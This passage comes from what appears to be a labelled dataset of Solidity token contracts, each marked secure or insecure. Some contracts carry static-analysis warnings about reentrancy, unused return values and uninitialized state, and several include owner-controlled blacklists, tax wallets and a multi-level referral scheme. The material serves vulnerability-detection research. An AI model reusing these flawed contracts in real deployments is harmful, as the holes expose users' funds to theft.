severity: Low | ID: 4f5a4c5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4f5a4c5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 636cb73\n\t\t// reentrancy-benign | ID: 4f5a4c5\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 636cb73\n\t\t// reentrancy-benign | ID: 4f5a4c5\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 91382a1): BSHRUB._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 91382a1: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 4f5a4c5\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 636cb73\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 7641e79): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 7641e79: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: f449a94): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for f449a94: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 7641e79\n\t\t\t\t// reentrancy-eth | ID: f449a94\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 7641e79\n\t\t\t\t\t// reentrancy-eth | ID: f449a94\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: f449a94\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: f449a94\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: f449a94\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 7641e79\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: f449a94\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: f449a94\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 7641e79\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 7641e79\n\t\t// reentrancy-events | ID: 636cb73\n\t\t// reentrancy-benign | ID: 4f5a4c5\n\t\t// reentrancy-eth | ID: f449a94\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 7641e79\n\t\t// reentrancy-events | ID: 636cb73\n\t\t// reentrancy-eth | ID: f449a94\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint256 i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: d5b6375): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for d5b6375: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: b21f0cc): BSHRUB.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for b21f0cc: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: bb0e5b5): BSHRUB.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for bb0e5b5: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: c8a6efa): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for c8a6efa: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: d5b6375\n\t\t// reentrancy-eth | ID: c8a6efa\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: d5b6375\n\t\t// unused-return | ID: bb0e5b5\n\t\t// reentrancy-eth | ID: c8a6efa\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: d5b6375\n\t\t// unused-return | ID: b21f0cc\n\t\t// reentrancy-eth | ID: c8a6efa\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: d5b6375\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: c8a6efa\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}",
"file_name": "solidity_code_1201.sol",
"secure": 0,
"size_bytes": 17246
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ncontract Context {\n constructor() {}\n\n function _msgSender() internal view returns (address payable) {\n return payable(msg.sender);\n }\n}",
"file_name": "solidity_code_1202.sol",
"secure": 1,
"size_bytes": 226
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ncontract ReentrancyGuard {\n bool private locked;\n\n constructor() {\n locked = false;\n }\n\n modifier nonReentrant() {\n require(!locked, \"Reentrant call\");\n\n locked = true;\n\n _;\n\n locked = false;\n }\n}",
"file_name": "solidity_code_1203.sol",
"secure": 1,
"size_bytes": 330
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"onlyOwner\");\n\n _;\n }\n\n function renounceOwnership() external onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}",
"file_name": "solidity_code_1204.sol",
"secure": 1,
"size_bytes": 822
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract SwapBlock is Ownable {\n mapping(address => bool) public addressesLiquidity;\n\n event PercentsWalletLimitSet(uint256 _percentWalletLimit);\n\n event AddressLiquidityAdded(address indexed _addressLiquidity);\n\n event AddressLiquidityRemoved(address indexed _addressLiquidity);\n\n function checkAddressLiquidity(\n address _addressLiquidity\n ) external view returns (bool) {\n return addressesLiquidity[_addressLiquidity];\n }\n\n function addAddressLiquidity(address _addressLiquidity) external onlyOwner {\n addressesLiquidity[_addressLiquidity] = true;\n\n emit AddressLiquidityAdded(_addressLiquidity);\n }\n\n function removeAddressLiquidity(\n address _addressLiquidity\n ) external onlyOwner {\n addressesLiquidity[_addressLiquidity] = false;\n\n emit AddressLiquidityRemoved(_addressLiquidity);\n }\n\n uint256 private _percentWalletLimits = 100;\n\n function getPercentsWalletLimit() public view returns (uint256) {\n return _percentWalletLimits;\n }\n\n function setPercentsWalletLimit(\n uint256 _percentWalletLimit\n ) external onlyOwner {\n require(_percentWalletLimit <= 100, \"PercentsWalletLimit > 100\");\n\n _percentWalletLimits = _percentWalletLimit;\n\n emit PercentsWalletLimitSet(_percentWalletLimit);\n }\n}",
"file_name": "solidity_code_1205.sol",
"secure": 1,
"size_bytes": 1512
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"./SwapBlock.sol\" as SwapBlock;\nimport \"@openzeppelin/contracts/utils/ReentrancyGuard.sol\" as ReentrancyGuard;\n\ncontract MLMgg is Context, IERC20, SwapBlock, ReentrancyGuard {\n struct AddressData {\n bool registered;\n address referrers;\n uint256 unregisteredRewards;\n uint256[5] balancelevels;\n uint32[5] count_levels;\n bool counted;\n }\n\n struct InviteData {\n bool usedInvite;\n address referral;\n }\n\n event UsedInvitesChanged(bytes signature);\n\n event DataChanged(address indexed userAddress);\n\n mapping(address => AddressData) private _address_data;\n\n mapping(bytes32 => InviteData) private _invites_data;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n uint8 public immutable _decimals;\n\n uint8[5] private _REWARDS;\n\n uint8[5] private _requiredReferralsCount;\n\n string public _symbol;\n\n string public _name;\n\n constructor() {\n _name = \"MLM.gg\";\n\n _symbol = \"MLM\";\n\n _REWARDS = [60, 50, 40, 30, 20];\n\n _requiredReferralsCount = [1, 5, 5, 5, 5];\n\n _decimals = 18;\n\n _totalSupply = 420e6 * 1e18;\n\n _balances[msg.sender] = _totalSupply;\n\n _address_data[msg.sender].registered = true;\n\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n\n function getAddressData(\n address user\n ) public view returns (AddressData memory) {\n return _address_data[user];\n }\n\n function getUsedInvite(bytes32 inviteId) public view returns (bool) {\n bool usedInvite = _invites_data[inviteId].usedInvite;\n\n return usedInvite;\n }\n\n function getInviteReferral(bytes32 inviteId) public view returns (address) {\n address invitereferral = _invites_data[inviteId].referral;\n\n return invitereferral;\n }\n\n function getRewards() public view returns (uint8[5] memory) {\n return (_REWARDS);\n }\n\n function getrequiredReferralsCount() public view returns (uint8[5] memory) {\n return (_requiredReferralsCount);\n }\n\n function getOwner() external view returns (address) {\n return owner();\n }\n\n function decimals() external view returns (uint8) {\n return _decimals;\n }\n\n function symbol() external view returns (string memory) {\n return _symbol;\n }\n\n function name() external view returns (string memory) {\n return _name;\n }\n\n function totalSupply() external view returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) external view returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool) {\n _transfer(msg.sender, recipient, amount);\n\n return true;\n }\n\n function allowance(\n address addressOwner,\n address spender\n ) external view returns (uint256) {\n return _allowances[addressOwner][spender];\n }\n\n function approve(address spender, uint256 amount) external returns (bool) {\n _approve(msg.sender, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) external returns (bool) {\n _approve(\n msg.sender,\n spender,\n _allowances[msg.sender][spender] + addedValue\n );\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) external returns (bool) {\n _approve(\n msg.sender,\n spender,\n _allowances[msg.sender][spender] - subtractedValue\n );\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal {\n require(account != address(0), \"Mint to the zero address\");\n\n _totalSupply = _totalSupply + amount;\n\n _balances[account] = _balances[account] + amount;\n\n emit Transfer(address(0), account, amount);\n }\n\n function useInvite(\n bytes32 inviteId,\n bytes memory signature\n ) external nonReentrant {\n AddressData memory address_data = _address_data[msg.sender];\n\n require(address_data.referrers == address(0), \"Referrer already set\");\n\n require(!_invites_data[inviteId].usedInvite, \"Invite already used\");\n\n require(!address_data.registered, \"Already registered\");\n\n address referrer = _recoverSigner(inviteId, signature);\n\n require(_address_data[referrer].registered, \"Referrer not registered\");\n\n require(msg.sender != referrer, \"You cannot refer yourself\");\n\n _invites_data[inviteId].referral = msg.sender;\n\n _invites_data[inviteId].usedInvite = true;\n\n emit usedInvitesChanged(signature);\n\n uint256 unregisteredRewards = address_data.unregisteredRewards;\n\n address_data.referrers = referrer;\n\n address_data.registered = true;\n\n emit DataChanged(msg.sender);\n\n bool levelflag = true;\n\n uint8[5] memory REWARDS = _REWARDS;\n\n uint8[5] memory requiredReferralsCount = _requiredReferralsCount;\n\n if (unregisteredRewards != 0) {\n address ref = referrer;\n\n address_data.counted = true;\n\n AddressData memory address_data_ref;\n\n uint256 tokenback = (address_data.unregisteredRewards * 10) / 20;\n\n for (uint256 i = 0; i <= 4; i++) {\n address_data_ref = _address_data[ref];\n\n if (ref == address(0)) {\n address_data.unregisteredRewards = 0;\n\n break;\n }\n\n bool flagdatachange = false;\n\n uint256 reward = 0;\n\n reward = (unregisteredRewards * REWARDS[i]) / 400;\n\n if (levelflag) {\n address_data_ref.count_levels[i] =\n address_data_ref.count_levels[i] +\n 1;\n\n flagdatachange = true;\n }\n\n if (\n address_data_ref.count_levels[i] ==\n requiredReferralsCount[i] &&\n levelflag\n ) {\n reward = reward + address_data_ref.balancelevels[i];\n\n address_data_ref.balancelevels[i] = 0;\n\n flagdatachange = true;\n\n _mint(ref, reward);\n\n levelflag = true;\n } else if (\n address_data_ref.count_levels[i] < requiredReferralsCount[i]\n ) {\n address_data_ref.balancelevels[i] =\n address_data_ref.balancelevels[i] +\n reward;\n\n flagdatachange = true;\n\n levelflag = false;\n } else if (\n address_data_ref.count_levels[i] >=\n requiredReferralsCount[i]\n ) {\n levelflag = false;\n\n _mint(ref, reward);\n }\n\n if (flagdatachange) {\n _address_data[ref] = address_data_ref;\n\n emit DataChanged(ref);\n }\n\n ref = address_data_ref.referrers;\n }\n\n address_data.unregisteredRewards = 0;\n\n _mint(msg.sender, tokenback);\n }\n\n _address_data[msg.sender] = address_data;\n }\n\n function _recoverSigner(\n bytes32 ethSignedMessageHash,\n bytes memory signature\n ) internal pure returns (address) {\n (uint8 v, bytes32 r, bytes32 s) = _splitSignature(signature);\n\n return ecrecover(ethSignedMessageHash, v, r, s);\n }\n\n function _splitSignature(\n bytes memory sig\n ) internal pure returns (uint8 v, bytes32 r, bytes32 s) {\n require(sig.length == 65, \"Invalid signature length\");\n\n assembly {\n r := mload(add(sig, 32))\n\n s := mload(add(sig, 64))\n\n v := byte(0, mload(add(sig, 96)))\n }\n\n if (v < 27) v += 27;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal nonReentrant {\n require(sender != address(0), \"Transfer from the zero address\");\n\n require(recipient != address(0), \"Transfer to the zero address\");\n\n require(amount <= _balances[sender], \"Transfer amount exceeds balance\");\n\n bool levelflag = true;\n\n uint8[5] memory requiredReferralsCount = _requiredReferralsCount;\n\n uint8[5] memory REWARDS = _REWARDS;\n\n uint256 totalSupplyt = _totalSupply;\n\n uint256 amountRecipient = amount;\n\n if (addressesLiquidity[recipient]) {\n AddressData memory address_data_sender = _address_data[tx.origin];\n\n if (address_data_sender.registered) {\n _balances[sender] = _balances[sender] - amount;\n\n address ref = address_data_sender.referrers;\n\n AddressData memory address_data_ref;\n\n for (uint256 i = 0; i < 5; i++) {\n address_data_ref = _address_data[ref];\n\n uint256 reward = 0;\n\n reward = (amount * REWARDS[i]) / 10000;\n\n if (reward != 0) {\n if (ref == address(0)) {\n amountRecipient = amountRecipient - reward;\n\n totalSupplyt = totalSupplyt - reward;\n\n emit Transfer(sender, address(0), reward);\n } else {\n amountRecipient = amountRecipient - reward;\n\n if (\n address_data_ref.count_levels[i] >=\n requiredReferralsCount[i]\n ) {\n _balances[ref] = _balances[ref] + reward;\n\n emit Transfer(sender, ref, reward);\n } else {\n totalSupplyt = totalSupplyt - reward;\n\n emit Transfer(sender, address(0), reward);\n\n address_data_ref.balancelevels[i] =\n address_data_ref.balancelevels[i] +\n reward;\n\n _address_data[ref] = address_data_ref;\n\n emit DataChanged(ref);\n }\n }\n }\n\n ref = address_data_ref.referrers;\n }\n } else {\n _balances[sender] = _balances[sender] - amount;\n\n uint256 reward = 0;\n\n reward = (amount * 4) / 100;\n\n amountRecipient = amountRecipient - reward;\n\n _address_data[tx.origin].unregisteredRewards =\n address_data_sender.unregisteredRewards +\n reward;\n\n totalSupplyt = totalSupplyt - reward;\n\n emit Transfer(sender, address(0), reward);\n }\n\n _totalSupply = totalSupplyt;\n\n _balances[recipient] = _balances[recipient] + amountRecipient;\n\n emit Transfer(sender, recipient, amountRecipient);\n } else if (addressesLiquidity[sender]) {\n require(\n (_balances[recipient] + amount) <=\n (totalSupplyt * SwapBlock.getPercentsWalletLimit()) / 100,\n \"Transfer PercentsWalletLimit\"\n ); //Limit\n\n AddressData memory address_data_recipient = _address_data[\n tx.origin\n ];\n\n if (!address_data_recipient.registered) {\n uint256 reward = 0;\n\n reward = (amount * 4) / 100;\n\n amountRecipient = amountRecipient - reward;\n\n address_data_recipient.unregisteredRewards =\n address_data_recipient.unregisteredRewards +\n reward;\n\n totalSupplyt = totalSupplyt - reward;\n\n emit Transfer(sender, address(0), reward);\n } else {\n address ref = address_data_recipient.referrers;\n\n AddressData memory address_data_ref;\n\n for (uint256 i = 0; i < 5; i++) {\n uint256 reward = 0;\n\n reward = (amount * REWARDS[i]) / 10000;\n\n address_data_ref = _address_data[ref];\n\n bool flagdatachange = false;\n\n amountRecipient = amountRecipient - reward;\n\n if (reward != 0) {\n if (ref == address(0)) {\n totalSupplyt = totalSupplyt - reward;\n\n emit Transfer(sender, address(0), reward);\n } else {\n if (address_data_recipient.counted) {\n if (\n (address_data_ref.count_levels[i] >=\n requiredReferralsCount[i])\n ) {\n _balances[ref] = _balances[ref] + reward;\n\n emit Transfer(sender, ref, reward);\n } else {\n totalSupplyt = totalSupplyt - reward;\n\n emit Transfer(sender, address(0), reward);\n\n address_data_ref.balancelevels[i] =\n address_data_ref.balancelevels[i] +\n reward;\n\n flagdatachange = true;\n }\n } else {\n if (levelflag) {\n address_data_ref.count_levels[i] =\n address_data_ref.count_levels[i] +\n 1;\n\n flagdatachange = true;\n }\n\n if (\n address_data_ref.count_levels[i] ==\n requiredReferralsCount[i] &&\n levelflag\n ) {\n if (\n address_data_ref.balancelevels[i] != 0\n ) {\n _mint(\n ref,\n address_data_ref.balancelevels[i]\n );\n\n address_data_ref.balancelevels[i] = 0;\n }\n\n flagdatachange = true;\n\n _balances[ref] = _balances[ref] + reward;\n\n emit Transfer(sender, ref, reward);\n } else if (\n address_data_ref.count_levels[i] >=\n requiredReferralsCount[i]\n ) {\n _balances[ref] = _balances[ref] + reward;\n\n emit Transfer(sender, ref, reward);\n\n levelflag = false;\n } else {\n totalSupplyt = totalSupplyt - reward;\n\n emit Transfer(sender, address(0), reward);\n\n address_data_ref.balancelevels[i] =\n address_data_ref.balancelevels[i] +\n reward;\n\n flagdatachange = true;\n\n levelflag = false;\n }\n }\n }\n }\n\n if (flagdatachange) {\n _address_data[ref] = address_data_ref;\n\n emit DataChanged(ref);\n }\n\n ref = address_data_ref.referrers;\n }\n\n address_data_recipient.counted = true;\n }\n\n _address_data[tx.origin] = address_data_recipient;\n\n _totalSupply = totalSupplyt;\n\n _balances[sender] = _balances[sender] - amount;\n\n _balances[recipient] = _balances[recipient] + amountRecipient;\n\n emit Transfer(sender, recipient, amountRecipient);\n } else {\n _balances[sender] = _balances[sender] - amount;\n\n _balances[recipient] = _balances[recipient] + amount;\n\n emit Transfer(sender, recipient, amount);\n }\n }\n\n function _approve(\n address addressOwner,\n address spender,\n uint256 amount\n ) internal {\n require(addressOwner != address(0), \"Approve from the zero address\");\n\n require(spender != address(0), \"Approve to the zero address\");\n\n _allowances[addressOwner][spender] = amount;\n\n emit Approval(addressOwner, spender, amount);\n }\n}",
"file_name": "solidity_code_1206.sol",
"secure": 1,
"size_bytes": 18603
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract MEGA is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 2e4a6f3): MEGA.bots is never initialized. It is used in MEGA._transfer(address,address,uint256)\n\t// Recommendation for 2e4a6f3: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 041cdac): MEGA._taxWallet should be immutable \n\t// Recommendation for 041cdac: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: f26ed85): MEGA._initialBuyTax should be constant \n\t// Recommendation for f26ed85: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 21;\n\n\t// WARNING Optimization Issue (constable-states | ID: 88cbfb7): MEGA._initialSellTax should be constant \n\t// Recommendation for 88cbfb7: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 21;\n\n uint256 public _finalBuyTax = 0;\n\n uint256 public _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: a74ba12): MEGA._reduceBuyTaxAt should be constant \n\t// Recommendation for a74ba12: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 02d1348): MEGA._reduceSellTaxAt should be constant \n\t// Recommendation for 02d1348: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 02f6ae5): MEGA._preventSwapBefore should be constant \n\t// Recommendation for 02f6ae5: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 25;\n\n uint256 public _transferTax = 0;\n\n uint256 public _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Make Ethereum Great Again\";\n\n string private constant _symbol = unicode\"M.E.G.A\";\n\n uint256 public _maxTxAmount = 20000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 20000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: a941d49): MEGA._taxSwapThreshold should be constant \n\t// Recommendation for a941d49: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: c99da75): MEGA._maxTaxSwap should be constant \n\t// Recommendation for c99da75: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 16000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n event TransferTaxUpdated(uint256 _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e22b8fe): MEGA.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for e22b8fe: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 10e7c0a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 10e7c0a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 15c70b9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 15c70b9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function 